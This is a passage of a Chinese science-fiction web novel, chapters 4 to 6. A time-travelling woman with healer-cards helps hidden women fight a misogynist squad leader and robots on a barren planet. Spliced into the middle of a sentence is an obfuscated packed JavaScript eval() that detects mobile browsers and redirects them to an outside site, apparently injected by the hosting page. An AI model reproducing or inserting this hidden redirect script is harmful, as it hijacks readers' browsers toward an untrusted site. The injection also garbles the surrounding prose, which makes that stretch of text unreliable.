陆灼的面上适时浮现起困惑： “要把我交给男人们吗？但我已经解释过了，我不是间谍……” “我们不是把你当做男人们的间谍，是想让你去找我们自己的间谍。” 中年女人说完，陆灼的神情也淡了些许，她环顾了一圈，细细观察着每一个人的神情—— 她们的脸上有迟疑、担忧、欲言又止，但是没有恶意。 起码她没有看到这种神色。 于是她望回中年女人，等着她继续说下去。 “和我们一起逃出来的，还有筱竹的姐姐，她是B级，曾经成功、逃上了离开贫瘠星的飞船。” 陆灼下意识望向穆筱竹，她也回望过来，点了点头：“妈妈们说，也是她把我抱出来的。” “那时候大家都焦头烂额，没人知道那孩子有那么高的识路才华，不仅迅速推理出了贫瘠星的布局，甚至还能混上飞船……”年轻女人叹了口气，不知道从哪里拿出了一张已然斑驳的布片， “而这上面，还留着她画下来的地图。” “那她……回来过吗？” 陆灼谨慎地看向那张“地图”，选择了“邢氏”卡牌，系统面板再次浮现，当即便显示出了文字—— 【物品名称：据说可以逃出去的地图】 看来靠系统是判别不了真相了。 陆灼于是看向穆筱竹，眼睛里流露出几丝怜悯：“这孩子许久都没和姐姐见过面了，还是让她先走吧。” “在这里的所有人里，只有你一个人能走。”被看着的穆筱竹却神色镇定，继续说道， “因为你的身上没有生物芯片，无法被定位到。” 原来是因为这样。 陆灼轻轻松了口气，便又听年轻女人再叹了口气： “虽然没有回来过，但起码小队长从来没有提起过她的消息。 “这样的话，起码是安全躲进了飞船离开，至于有没有进入别的星球，也都是她的命了。” 几人重新望向陆灼，那张地图也已经被递到了陆灼的面前，陆灼没有犹豫，旋即露出副极其感动的神色，立刻接话道： “我不会独活的，你们帮了我这么多，我一定来救大家的。” “我们不需要你来救，甚至不需要你一定找到筱竹的姐姐。 “但是，如果可以，希望你能找到那些被杀谢罪的女科学家的遗产—— “也许能让更多女性活下来的方法，就在那里面。” 4. 第 4 章 陆灼动了动嘴唇，头一次乱了神。 她打量着众人的神色，终于抑制不住露出些惊慌失措的神情来，伸手指了指自己： “我……我吗？” 穆筱竹伸出手掌，径直包住她的手指： “对，是你。” 她将手指下压，露出那双黢黑的眼睛，牢牢地盯着陆灼： “也只有你，没有生物芯片，可以逃脱权力无时无刻的监视。” “可是，那些人有眼睛。监视设备发现不了我，但只要一看见我……” 陆灼没有再望向穆筱竹，而是看向她握着自己的手指，下垂的目光也正好遮掩住了她的神色， “又或者，你之前说的安全的地方，可以逃过［男也］们的监视？” 说完，陆灼环视一圈，企图从各自的神情里察觉到什么。 可大家只是一齐望着她，谁都没有率先说话，只听头上有一个突然的声音响起： “那就让监视设备看不见你，那些人也认不出你。” 陆灼下意识抬眼，就见在营养液汩汩流淌下来的地方，突然透进来了一束光。 紧接着，那块地方被人从外面掀了起来，有个身影灵活地跳了下来。 几乎是陆灼听到来人声音的一瞬间，她就已经明白了对方的身份—— 是楼上的那个女人。 也是唯一可以活在地面上的女人。 那人走近几步，朝着陆灼亮出了手心里的东西—— 一弯碎片。 她继续说： “我能让你变得和那男人有五分相似，至于剩下五分……” 几人齐齐望着陆灼，继续道：“我们会帮你。” 要想让陆灼成为一个“男人”的样子并不难，在一个被人为建构的单一性/别的世界里，甚至只需要符合一种刻板气质就可以了。 短发。陆灼一直留着的就是短发：距离她上一次剃寸头已经过了一年，寸头也长成了短发。 骨架。陆灼的肩膀很快，脚也一直只能买男鞋的42码，穿上男士衬衫，从背影看几乎看不出什么区别。 平胸。陆灼也有所发育，但不多，她一直能够自如地不穿胸罩也得益于此，没想到此刻竟然有更大的用处。 …… 还有一些，陆灼也不是很能辨别其她人改造时具体依照的标准，但是大家吵吵闹闹着，好像左边一点右边一些，把她像玩偶一样摆弄着。 她却并不觉得被拘束，只瞧着六个人头挨着头，热热闹闹地一边笑一边弄着，竟然也感觉心情飞扬了一点。 在现代的时候，她也曾经有过这样的亲密关系，只可惜…… 陆灼收敛了几分笑容，看着离自己近在咫尺的那弯碎片，问道： “那剩下五分，你们想怎么做？” “［男也］们太过痴迷于科技，［男也］们最相信自己的芯片。”楼上女人正在清理陆灼的碎发，“只要把小队长杀了，把［男也］的芯片挖给你，你自然就能混进去了。” 能有这么简单吗？ 陆灼很想问，但是她刚来这个世界没多久，人生地不熟，对这个世界的很多情况都不够了解。 也许，她们这样说，大概率就…… 陆灼不确定，如果挖芯片是这么简单的事情，她们为什么没有人去和小队长交换芯片，而是要等到她过去呢？ 思绪万千之时，手背上却突然传来一阵凉意。 陆灼偏头，楼上女人已经将碎片贴了过来，也在侧头看着她：“拿好了。” 于是陆灼摊开手掌。 楼上女人向她比划着：“芯片在胳膊上，就是古地球人接种疫苗的地方。你用碎片狠狠把那一块肉扯出来，然后……” 然后？ 陆灼盯着楼上女人，中年女人却从身后把陆灼的肩膀一带，把她向后揽入了自己怀中，而后看向楼上女人：“行了，她还是个孩子，剩下的事情，筱竹会帮她完成的。” 穆筱竹坐在一旁，正透过镜子看着她们的对话，闻言抬起头，利落地拒绝： “我不想出去，我一出去，S级的身份肯定就会被发现了。” “正是要靠你。”水肿女人爱怜地拍了拍穆筱竹的肩膀，“我们之所以可以活这么久，就是因为有了你。 “小队长虽然嘴巴上说着那些猖狂的话，但［男也］其实还是想抓住你。 “甚至我敢说，不只是小队长，有很多人都想要抓住你。” 她将另一只手伸向陆灼，也拍了拍陆灼的肩膀：“所以，你们必须互相帮助，才能绝地反击，扭转如今的局面。” “是的，到时候，你和陆灼分两个方向跑，让陆灼先回来，我们赶紧把她的芯片种下去。” 矮瘦女人也接话，目光而后落在地图之上， “这张地图我们和筱竹已经看过很多遍了，只可惜一直没有机会实操…… “这一次，只能死马当活马医了。” 年轻女人似乎想开口说些什么，但那些语句似乎在她的嗓子眼转了一圈，最后还是变成了一个略显得苍白的笑容。 她伸手，抚了抚陆灼的肩膀并不存在的灰，这才继续道： “虽然不知道你为什么会突然出现在这里，但身为女人，这是我们唯一能为你做的事情了。” 陆灼没说话，她微微垂着眸，看着地上散落着的自己的头发，一时间眼前有些发晕。 短短一天，她接受了太多的信息量，每当她好不容易逼迫自己接受其中一件，另外的就会立刻接踵而来。 她不喜欢这种感觉。 但她不得不面对。 “如果那位姐姐真的去了天堂星，她一定会回来救你们的，你们贸然出去……” 陆灼下意识想要劝说些什么，可耳边突然响起“吱呀”的一声巨响。 楼上女人将碎片放下，而后熟练地翻了上去，而后将开口处的地板遮挡好。 紧接着，便是男人怒气冲冲的声音： “你躲在那里干什么？这外面都是工人们，你就算想偷跑，也得好好掂量掂量自己。” “你没给我安床，我只能在角落里休息了。” 楼上的女人“哼”了一声，站直身子，脚尖也轻轻地敲了下地板。 年轻女人立刻靠近那处仔细检查是否合拢好，而与此同时，头顶上也传来男人粗声粗气的声音： “我肯收留你就已经是大恩了，你现在还敢和我耍小心眼？” ［男也］逼近几步，似乎有破空的声音传来，伴随着［男也］气急败坏的回答： “你最好给我想清楚，S级到底在哪里？” “告诉你也只是让你自己一个人去邀功，难不成我还能有什么额外的好处？” 楼上女人语气不善，几乎要让陆灼疑心她究竟是怎样存活到了现在。 而男人似乎也是气急了，可不知道为什么，［男也］并没有继续对女人咄咄逼迫，而是似乎往旁边走了几步： “你要床，我可以给你。你要多一点营养液，我也从来没有阻拦过你。 “所以，把S级给我。” 女人笑了声，也许是摇了摇头。 因为男人喘息的声音更明显了，而后，突然发出了一声嗤笑： “我知道了。 “你是不是担心，有别的女人的出现，会动摇你的位置？ “放心好了，S级一定会被天堂星带走，所以我身边的女人还是会只有你一个—— “我保护你，而你乖乖躲在我身边，这才是你唯一的出路。” “你未免、把你自己想得也太重要了吧！” 楼上女人突然提高了音调，厉声道， “我不要你这个人，只想要你小队长的位置。 “如果是我把S级送上去，你觉得天堂星会不会满足我这个要求？” “你这个恶毒的女人！”小队长突然一声吼，似乎又是猛然扑了上来—— 只听“稀里哗啦”的一阵东西推翻在地的声音，而后就是连绵不断的缠斗的声音。 年轻女人仔细听着上面的动静，穆筱竹则冲到了中年女人身边，连声说： “大妈，我是S级，我有没有什么办法帮二妈？我要杀了［男也］！我要杀了［男也］！” “你是S级，你有更重要的事情要做！” 中年女人却猛然间伸手牢牢攥住了穆筱竹，而后将一旁不知道为什么正在东张西望的陆灼拉了过来， “穆筱竹，你的职责是在二妹完成任务之后，把陆灼带走！” 陆灼一个踉跄，便被中年女人推着和穆筱竹一起缩在了角落里。 水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449034|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肿女人被要求来到她们面前看管她们，她用厚实的身体背对着后方两人，似乎是希望自己不要被穆筱竹可怜的眼神说动，而后真带着她们冲上去—— 是的，不止穆筱竹想上去，如果不是因为害怕将所有人暴露，其余姐妹们也很想一拥而上。 但此时，角落里，陆灼正在悄悄俯身和穆筱竹说话： “我不知道S级具体可以做什么，但听起来就是很厉害的样子。” 她顿了顿，将声音更加放轻了些， “你有没有什么办法，可以让我看到楼上的情况？” “看到又如何？只能看不能行动，岂不是更揪心？” 穆筱竹没好气地答道，抱着膝盖往旁边一靠，看也不再看陆灼一眼。 陆灼明白她的意思。 毕竟如果不是她的存在，这场逃跑计划不会临时提前，她们说不定还可以安安稳稳地在一起过许多年。 但是……这一天，终究会来的。 于是陆灼没有和她多解释，现在的境况也没功夫对她多安慰，她直接伸手捏住穆筱竹的肩膀，又重复了一遍： “你有没有办法？有的话，我兴许可以救你大妈。” ！！！ 穆筱竹转回头，狐疑地望着陆灼，迟疑了片刻，才开口： “这些等级的意思并不是说我们的身体素质比别人好多少，而是说的是我们能和外骨骼的贴合度。” 她指了指周围，继续道， “可是这里没有外骨骼，我的S级甚至都比不上那个男人的C级。” “这么说，楼上那个男人有外骨骼？”陆灼迅速接话，“那你有没有什么办法，可以操控男人的外骨骼？” “我……我还没学会，这个技能太难了。”穆筱竹摇了摇头，可陆灼已经将手掌抚在穆筱竹的额头上，温和鼓励着： “试一试，说不定我可以帮你。” 穆筱竹又看了陆灼一眼，而后微微闭上眼睛，不知道正在干什么。 但下一刻，陆灼选中卡牌“邢氏”后点击“使用”，而后牢牢盯住了穆筱竹，下一刻，光芒一闪，穆筱竹的身上浮现出了一行又一行的文字—— “姓名：穆筱竹。” “精神力等级：S级。” “血量：100%。” “技能栏：正在识别中。” 陆灼等了一会儿，技能栏还是没有更新，也许穆筱竹说的那个技能对她来说还是太难，既然如此，还是再想想别的方法…… “技能栏：隔空操控。” “技能栏：正在识别中。” “技能栏：隔空操控。” “技能栏：正在识别中。” “技能栏：隔空操控。” “技能栏：正在识别中。” …… 于是，陆灼就眼睁睁看着，面前的技能栏以越来越快的速度反复闪现着这两行字，似乎是在拼命判断着穆筱竹的情况…… 也可能是穆筱竹掌握得不够充分，使用得不太完全。 但这也够了！ 陆灼握住穆筱竹的手一紧，而后把卡牌调到“义妁”，而后望着眼前的“技能一：气血失调”，点下了使用按钮。 穆筱竹的身上浮现出提示框“使用对象血量已充足，不需要进行补充。” 陆灼牢牢盯着，脑子里一字一顿地念着： 【使用卡牌“义妁”，夺取使用对象所控制的外骨骼的能力。】 楼上。 “你个死婆娘，告诉我，你把她们藏到哪里去了！” 男人恶狠狠地骑在女人的身上，手掌牢牢攥住女人的脖子，几乎睚眦欲裂。 女人喘着粗气，手臂牢牢抵挡着男人下压的趋势，肌肉暴起，一时间两人彻底陷入了僵局。 曾几何时，社会上总觉得女人的肌肉水平比男人差，所以研究外骨骼，企图拉平性/别差异。 可是，如果整个社会还是在厌女的气氛之中，又如何让科技真的为平等服务呢？ 便在此刻，女人余光瞥到男人的双腿突然痉挛了一下。 她下意识蓄力，便见男人一个晃身，似乎是双腿莫名开始发软。 她来不及思考原因，手中的碎片已经毫不留情地挥向男人： “等你下幽冥自己去问后土娘娘吧！” 5. 第 5 章 “筱竹！筱竹你怎么了！” 和陆灼挨挨挤挤靠着的穆筱竹忽而脱力一样呻吟了一声，身子一下子歪倒了下去。 其她女人们纷纷围了上来，陆灼赶紧在脑里更换想法：【补气血！给穆筱竹补气血！】 “使用”按钮重新亮起，陆灼猛猛点击，而后终于见到穆筱竹的血条开始慢慢回升。 与此同时，楼上。 血液自男人的胸口喷射而出，女人还想再刺，可惜那阵可疑的腿软也没持续多久，男人已经一个翻身站起，双腿向前踉跄了几步。 下一刻，［男也］又像是提起了劲来，飞快地向前跑去—— 随着重重的一声关门声响起，楼下的人也顿时醒了神。 穆筱竹摆摆手，解释道：“我刚刚用精神力控制住了那家伙的外骨骼，但是……时间太短了……” 矮瘦女人瞪大眼睛要说什么，就已经被年轻女人打断： “男人肯定是跑了，我们要赶紧追上去。” 连接处被重新打开，迎面撞上楼上女人的脸，她扒拉着让开自己的身体，伸手指向门口： “受伤了，可惜没有刺中要害。［男也］的外骨骼在腿上，你们想追上［男也］，要快！要快！” 话音刚落，穆筱竹已经按照计划、拉着陆灼直接冲了出去。 这是陆灼第一次看到除了地下之外的世界。 事实上，从来到地上她就觉得些许的不对劲了，这周围的空气太低沉、太压抑，让她呼吸都有点喘不上气来。 周围也几乎根本没有什么光亮，就算认为是晚上，月光和星光也少得可怜。 被穆筱竹拉出去，陆灼迎面被风扑了个正着，才越发感觉到周围的死寂。 也许还是因为夜晚，周围静悄悄的，人们似乎都倒头就睡，但是连一些植物摇曳、动物叽叽喳喳的声音都听不到。 陆灼能看到的是一座一座低矮的房屋，如同散落的棋子一样，一起拱卫着正中间的尖塔。 穆筱竹带着她跑着，嘴上也不忘解答她的疑惑： “那里主要是制造营养液的地方，也是这些C级们承担的责任。” 原来在这里。 下一刻，陆灼就发现，她们行进的方向离尖塔越来越远了。 她下意识问：“我们去哪里？” “垃圾场。” 穆筱竹在前面跑着，发丝随着轻风飞扬， “男人最要那些虚无缥缈的面子，［男也］必然不敢去人多的地方，只好去垃圾场了。” 垃圾场？ 没等陆灼多问，穆筱竹已然迅速停下了脚步，而后将怀里的地图展开给陆灼看： “我身上有芯片，很可能会被人发现，你和我在一起不安全。 “你按照我指给你的这条路走，提前在垃圾场埋伏好。我会正面对上那个男人，然后制伏［男也］，你只需要找机会帮我就行。” 分头行动？ 可是她埋伏在不知道多大的垃圾场里，万一和穆筱竹错过怎么办？ 这种临时的提议，很可能要比穆筱竹身上的芯片威胁更可怕…… 可穆筱竹根本不给陆灼说话的机会，着重点了点地图上的位置后，便直接扭头狂奔，须臾便消失了踪影。 只有陆灼一个人在原地，重新面对着她已经被教过许多次的地图，快速判断着方位，而后猫着腰重新冲了出去。 也许是因为第一次离开地下，陆灼很难辨别清楚周围的具体场景，只感觉脚边随意堆放的东西越来越多，再然后，她便缓缓停下了脚步—— 这里应该就是地图上标注的垃圾场的周围了。 她抬眼，看着面前偌大的一片场地，被一圈防护带围在中间，垃圾并不多，基本都聚集在正中间。 难怪穆筱竹敢这么和她分开，她大概率心里是有数的，只是没时间和她说罢了。 既然这样，那她就先躲到附近，等到穆筱竹过来…… “你是谁？怎么一个人在这里？” 便在此时，一个熟悉到让陆灼下意识头皮发麻的声音响起，她下意识回头，便正好对上了一张大脸—— 她从来没有清楚看到过，可几乎是一瞬间，她就确认了。 这就是小队长。 穆筱竹不是说她会去拦住小队长吗？为什么小队长会这么快来到这里，还正好发现了她？ “……你很面生啊。” 小队长的视线黏在陆灼的身上上上下下打量着， “出示一下芯片。” 陆灼下意识缩了下胳膊，但小队长却正仔细打量着她，几乎是她这动作一出现，［男也］便一声厉喝： “我就说贫瘠星的人我怎么可能没见过，你果然……” ［男也］话没说完，就见陆灼真的将胳膊往后一背，而后挺了挺肚子，垂着眉眼看［男也］： “你再仔细看看我是谁。” 这变故直接让小队长一愣，［男也］下意识往前走了半步，不知道是不是陆灼的错觉，她总觉得这半步的动静里，似乎有另一个人的回音。 但她没能真的捕捉到，因为几乎是下一瞬间，她就听到小队长的声音： “……您是徐普先生带来的人？” 陆灼几乎是一瞬间就接了话： “你背着我们，藏了女人。” 说时迟那时快，几乎是这话一出口，小队长登时转向，飞速向着垃圾场中央冲了出去。 站在后面的陆灼清楚地看见，那双遒劲有力的双腿不住交换着，闪烁出金属一般的光芒。 那就是外骨骼？ 陆灼却站着没动，只原地踏步将脚下的土地踩出些声音，而后便后退着想要按照约定进去藏进垃圾堆里。 再然后…… 按照约定…… 陆灼眉心一跳，再然后，嘴巴便被另一只温凉的手牢牢捂住： “我不是让你躲起来吗？你怎么自己出来了？” 陆灼不敢大声，只轻轻近了几步，压低声音问：“刚刚遇见男人了，不过［男也］又往中心跑掉了。” 穆筱竹深深看了陆灼一眼，转而也用气音答：“行了，试试就知道了。” 试试？ 怎么试？ 陆灼正想着，却见穆筱竹突然将手心朝上，用力向上一托—— 与此同时，只听一阵细微的“噼里啪啦”声响起，似乎有各种东西在不住摩擦着，而后动作越来越剧烈，声音也越来越明显，下一刻，陆灼便看见原本安详宁静的垃圾场一瞬间动了！ 各式各样的物件直直飞向空中，发出阵阵嗡鸣，陆灼的目光下意识被吸引过去，便见那些纷乱之中，忽而骂骂咧咧站起一个人： “是谁搞老子？现在是老子的休息时间！” ［男也］声音极大，语调却发着虚，仿佛色厉内荏，让穆筱竹直接冷笑了一声，往那里快速多走了几步： “这么快就不认识我了啊，真是可惜。” 她微微握拳，似乎是在蓄什么力，但陆灼等了一会儿，却只等到小队长着急一样地往前踉跄了一下，而后便又是小队长的声音： “不是刚刚的……你是谁？哪里来的女人？” “看来你忘记了啊，之前在你的房间里，你没办法控制你的双腿，只能等死的感觉。” 穆筱竹甚至连唇角都泛起了冷笑，她手上动作不停，让四面八方的垃圾像一张大网一样围在了男人的周围，然后她继续说， “不过忘记了也没关系，因为马上，我会再次让你浮现出那种感觉。” ！！！ 小队长终于反应过来了： “你和屋里的女人是一伙的？！” ［男也］停住后退躲闪的步伐，急切地往穆筱竹的方向走去， “你从哪里来？这么些年你是怎么活下去的？” 陆灼急忙追上去，紧紧粘在了穆筱竹的身后。 她站得很正，也没避讳自己的容貌，只不说话，默默盯住了面前的小队长。 “你，竟然是女人？” 小队长迟疑着，脸上登时闪现出几秒钟的空白。 但下一刻，巨大的喜悦立即浮现在［男也］的脸上， “你们当中应该有一个S级的，乖乖说出来，我可以给你们找一个好的去处。” “什么好去处？像待在你身边的二妈一样，被非打即骂吗？” 穆筱竹丝毫不怯的模样，双眼牢牢盯着小队长，继续道， “男人能给我什么好去处，除非……” 小队长见有所转机，往前又走了一步，努力压抑着险些气急败坏的恼怒： “你们有 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说时迟那时快，穆筱竹已经一个猛扑，随手将旁边马桶拔子一样的东西卡在小队长的嘴上，而后便开始从小队长的身上卸芯片。 这样的计谋甚至称不上是计谋，简直是莽撞！ 陆灼的心里再次升起此番想法，但自己却也蹲下身子，快速在垃圾堆里翻找到可以反光的镜片，而后绑在长条状物体上，快速举高： 【“义妁”，气血失调，让［男也］们倒下！】 片刻后，灯光毫无反应，甚至还在步步逼近。 陆灼快速向周围看着，身子下意识往穆筱竹的身前挡了挡。 这里空旷无际，并不荒凉，却和她脑海里对于郊区的印象很不相像—— 这里没有高高站立的摄像头，没有无孔不入的监视器。 与此同时，四周渐渐逼近的人影却让她下意识抿紧了双唇，一时间有一种荒诞的割裂感。 一种对比于她所来自的所谓现代社会的割裂感。 但这些都不是现在应该思考的问题。 为什么这些人没有倒下？卡牌失效了吗？ 手臂上突然传来刺痛，陆灼低头看去，穆筱竹已经开始往自己的身上移动芯片。 而她的身旁地上，还摆放着两条腿一样的东西…… 应该就是她们所说的外骨骼了吧。 等等，外骨骼？ 陆灼很快地询问穆筱竹：“贫瘠星的很多人都有外骨骼吗？” “不，只有小队长有，［男也］虽然是C级，但却是唯一可以和外骨骼产生链接的。” 穆筱竹已经在陆灼的手臂上挖出足够大小的肉，然后将芯片迅速按压进去。 灯光们已经逐渐来到近前，甚至有些许光边正好在她们的身旁扫过。 不……不是外骨骼的原因。 就算她的“气血失调”没办法控制外骨骼，但镜子肯定也照射到那些人了，不可能完全没有反应！ 陆灼心下一紧，继续问： “……你之前说这里生产营养液和机器人，那这里也会有机器人和C级一起工作吗？” 如果是机器人，那很可能就没办法被她的“气血失调”伤到。 毕竟，根据字面意思，她所操纵的对象必须有气血才行。 但是穆筱竹的答案却是： “机器人不准在这里使用，只能被专人来带往天堂星。” 那是为什么？ 陆灼想不出来，只能将卡牌临时调到“邢氏”，努力从镜子里往那群“类人”身上看去。 可那些人太糊又太亮，陆灼看不清楚，反倒可能因为盯了太久的缘故，收回目光时不自主往不远处小队长的尸体上看了一眼。 就那一眼，陆灼的心底却忽的一跳。 可她来不及细想，因为下一刻，一个突兀的声音猛然响起： “贫瘠星队长，你还活着吗？我是地球徐普，请尽快回话。 “你周围有女性芯片信号，如果三秒内没有回复，我将操控机器人对此区域进行无差别轰炸。” 三秒？ 陆灼刚要说些什么，却发现那声音竟然没有停顿，直接往下道： “三， “二， “一！” 6. 第 6 章 “我在这里！” 灯光如同有了耳朵，一瞬间齐齐集中了过来，陆灼便在光亮中慢慢起身。 穆筱竹蹲在垃圾堆里，眼睛随着陆灼的动作向上，可陆灼身姿很稳，亮出自己鲜血淋漓的手臂，音色惊慌， “救救我，有人要杀我！” 徐普的声音再次响起，但陆灼依旧没有找到［男也］发出的来源： “你往外面走，机器人会保护你。” 这家伙不愿意暴露自己。 ……这样也好。 陆灼抿了抿唇，慢慢往外挪着，周围万籁俱寂，只有一阵又一阵的血腥味弥漫开来。 不只是她自己身上的，陆灼知道，还有刚刚被她们划花脸的小队长。 如果这群男人想要围过来看一看，她都不确定今天能不能活着走出去。 果然，她说了，这个计划实在太有危险，能做到现在，全靠…… “贫瘠星队长，你的芯片为什么会突然有离体警告？” 无边的宁静里，陡然又响起声音，陆灼步伐一顿，而后就势停下，冷着声音： “您没看见我的伤口吗？她们挖我的芯片，想要取代我，如果不是我自己拼命挣扎，贫瘠星可就是新的人来迎接您了。” 在她那所谓的现代社会里，她见过形形色色的话术。 归罪西方的，归罪阶级的，归罪个别的。 唯独没有反思自己的。 于是她抬起眼，环视着这些在这里本不可能出现的机器人，望着很难被捕捉到身影的徐普，一字一顿地继续道： “也是，毕竟您是地球公民。” 半空中猛然投掷出一颗球状物体，不偏不倚，正好砸到了陆灼的脚边。 陆灼没有动，趁着低头寻找的功夫，往穆筱竹那里又看了一眼—— 人不见了。 陆灼当即皱眉，耳畔忽而有腥风拂过，而后手里的长杆登时易主，穆筱竹将她牢牢桎梏住，紧接着高声喊道： “带我去地球，不然的话，我就杀了这家伙！” “泼妇！你干什么！放开我！” 陆灼立刻配合地尖叫起来，周围的灯光又亮了几分，齐齐聚焦在二人的身上，陆灼的动作越来越大，衬得蓦然响起的徐普的声音透着冷意： “你的外骨骼，被一个女人夺走了？ “你家里养了女人，我念你有功，对你睁一只眼闭一只眼，但你如今、竟然让一个女人欺负到你的头上来了？” “大人……长官……领袖……”陆灼尽可能用混乱的话语说着，“请您救救我，救救我……” “队长，我并不是不想救你。 “我刚刚丢给你的，就是治疗球。” 徐普叹了口气， “但是你实在太没用了。” “S级！” 陆灼陡然提高音调， “我答应过您的，我会献给您一个S级！” “求您救救我，我会带您过去！” “你已经说了很多次了。” 徐普语调没变，反倒让陆灼稍微放下了点心，但［男也］接下来说的话，又让她的心脏直接提了起来， “但是现在不需要你了。 “因为，那些躲在地下的老鼠们，似乎趁你不在家、已经全部跑了出来。” ！！！ 陆灼快速地朝着穆筱竹看了一眼，见她脸上也有一闪而过的怔愣表情，立刻接话道： “我有办法！我有办法把她们喊回来！她们要的就是营养液，只要我给她们，她们会像我一样忠于您的！” “营养液的一切产出都被天堂星监控着，这些年能漏给你那么一点，已经是我开恩。” 徐普冷笑一声， “我不需要她们的忠诚，我更不需要女人。” “您需要的！” 陆灼斩钉截铁， “我是贫瘠星唯一拥有外骨骼的人，也是唯一可以收留女人的人。 “如果因为女人们出逃，这样的不平等被流传出去……” “谁敢嚼舌根，那我就杀了谁。” 徐普顿了顿，音调里恍惚间带着点笑， “或者，是你一个人滥用职权，和上层没有关系。 “你死后，贫瘠星会有新的队长，一切又是和平安详。” 是这样。 又是这样。 陆灼板紧脸，穆筱竹终于使了劲： “所以你们一点都没把我的话放在眼里是吗！ “我在说话！听我说话！” “好吵！” 徐普干脆利落，机器人们的发射口随之轻微移动了一些， “再说话，直接把你轰掉！” 【正在使用卡牌“邢氏”，使用对象机器人。】 【状态：正在被隔空操控。】 隔空操控？ 陆灼垂了眼，用下巴轻轻点了点横亘着的长杆。 她说：“那些机器人可没有我好说话，我劝你好好看清楚它们。” 【正在使用卡牌“邢氏”，使用对象穆筱竹。】 【状态：正在隔空操控。】 很好，穆筱竹明白她的意思了。 不管到底能操控它们干什么，起码现在队长那双可以跑得快的外骨骼安在穆筱竹的身上，只要能有一个时间差，穆筱竹就一定能够跑离这里。 女人们在贫瘠星藏了这么久，一直因为芯片等级太低、没被找到具体的地方。 但现在为了她，宁愿冒着巨大的危险分头行动，这绝对不行。 陆灼屏住呼吸等待着穆筱竹的进一步操作，而后只听沙拉拉的声响，那些发射口果然动弹了—— 又一次往旁边移动，而后齐齐对准了她们两个人的方向。 陆灼想用眼神提醒，徐普已经忍不住高喊：“怎么回事！机器人们怎么……” “砰！” “轰隆隆！” 随着徐普的声音落下的，还有接二连三的像炮火一样的轰鸣音，巨大的亮光顺着发射口直冲而来，震得整个地面都开始轻微地摇晃起来。 横亘着的长杆被穆筱竹重新塞回陆灼手里，陆灼下意识伸手要去拉穆筱竹趴下，手却被人牢牢地甩开。 穆筱竹抬腿，用陆灼几乎看不清楚的速度，飞快地朝着机器人的方向冲去。 陆灼当即掉头，朝着相反的方向就跑： “她跑了！先救救我——救命啊！” 长杆如同天然的杠杆，被陆灼略显熟练地挥舞着，有些许炮弹狠狠击上长杆，又被长杆用四两拨千斤的巧劲，直接朝着机器人们飞了回去。 更让陆灼没想到的是，那长杆却好似一些损伤都没受到一般，依旧虎虎生风地被她挥舞着，惹得徐普几乎陡然提高了音调： “放下！那是要回收的材料，要是弄坏了你一条命都赔不起！” 陆灼就像是被炮弹声迷了耳朵，眯着眼睛往机器人里看，但就是听不清声音一样： “别杀我！别杀我！” 她知道穆筱竹要做什么了。 只要她多绊住徐普一会儿，穆筱竹就有时间逃跑了。 她能逃跑，就能带回地图，其她那些人就有离开的希望！ “你们想让这个无能的家伙引开我？想都不要想！” 徐普的声音蓦然响起， “既然如此，你们就都给我死在这里吧！” 话音刚落，刚刚还是被穆筱竹笨拙地操控着的机器人仿佛被唤醒一样，准头顿时向四面八方散开，而后，激烈的光芒便如同一张大网，向四面八方源源不断地席卷开来。 陆灼下意识还想做什么阻拦，可其中一只机器人已然伸出了手臂，准确无误地捏住了她，而后缓缓举高—— 陆灼看见，那表面的一到两层的机器人身后，竟然是空无一人的境况。 她们刚刚以为周围有许多机器人过来，没想到…… 怎么会这么少？ “你答应我会把那些女人统统抓起来，就是这么回报我的？” 黑压压的夜色里，陆灼还是看不见徐普的身影，但［男也］的声音却依旧清晰贯耳， “但是你有一点没有骗我，这群女人里面，的确出了个了不起的S级呢……” 陆灼浑身发僵，面色几乎都失了血色，她只能硬逼着自己伸手抱住机器人的机械手臂，用尖叫掩盖自己四处探寻的目光。 不可以，她此时不能慌。 事已至此，箭在弦上，她绝对不可以慌！ “队长！不……那是先生！是先生！” 突如其来的声音打破了这里的宁静，陆灼回头看去，便见远处有一 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陆灼下意识后退了半步，蠕动着身子想要远离聚集区，身子却被汹涌而来的人潮接二连三踩了好几下。 她下意识侧身要躲，没受伤的那个胳膊似乎也被谁拉了一下，她下意识要借力起来，一个冰凉的触感却突然在她的脖颈处炸开—— 徐普操控着机器人的机械臂，捏着她的脖子，将她整个人举了起来，道： “你们的队长在这里，吵吵嚷嚷什么。” 周围的嘈杂声仿佛都停了一瞬，陆灼只觉得眼前天旋地转，而后便是被徐普直接刺在脸上的、耀眼的灯光。 下一刻，是男人们疑惑的声音：“这是队长？” 随着这一声疑问响起的，还有机器人发射口忽而燎起的火焰，火舌如同长了眼睛，直接朝着陆灼的面颊上袭了上来—— 于是，接二连三的继续是： “机器人失控了！” “队长被炸伤了！” “队长要休息，我愿意接替［男也］的位置！” 没有人回答这骚乱，只有最靠近陆灼的一台机器人突然亮了眼睛，发射口一转，直接对准了攻击陆灼的那台机器人。 而后发射口一亮，陆灼只觉得脖颈间的桎梏一松，整个人又一次像垃圾一样被丢在了地上。 陆灼下意识侧头去看，刚刚牵制住她的机器人已经倏忽炸开，绚丽飞舞着的零件看得她眼眶发麻。 四周围过来的C级男性们纷纷让开，只留下徐普冷冷的声音： “不听话的，连回收的价值都没有。” 【恭喜宿主，自动检测到贫瘠星队长已死，成功开启“逃离贫瘠星”任务。】 【成功开启“任务”栏，奖励宿主抽卡机会一次。】 【请问宿主是否要马上使用？】 陆灼下意识地答应，眼睛里却是徐普让人将零件全部送往那堆垃圾里，自己则安排各个人马按照定位围堵女人们的事情。 而她躺在地上一动不动，浑身筋骨如同被尽数卸了力一样，只能听见系统继续在说： 【恭喜宿主，获得卡牌“胡愔”。】 胡愔，这是道家的女医。 讲求气功，天人合一。 可现在，她面对的对象，是根本不是人的机器人。 这可怎么办…… 与此同时，徐普已经来到了她的身前，俯视的目光从上往下投射过来，徐普在对她说： 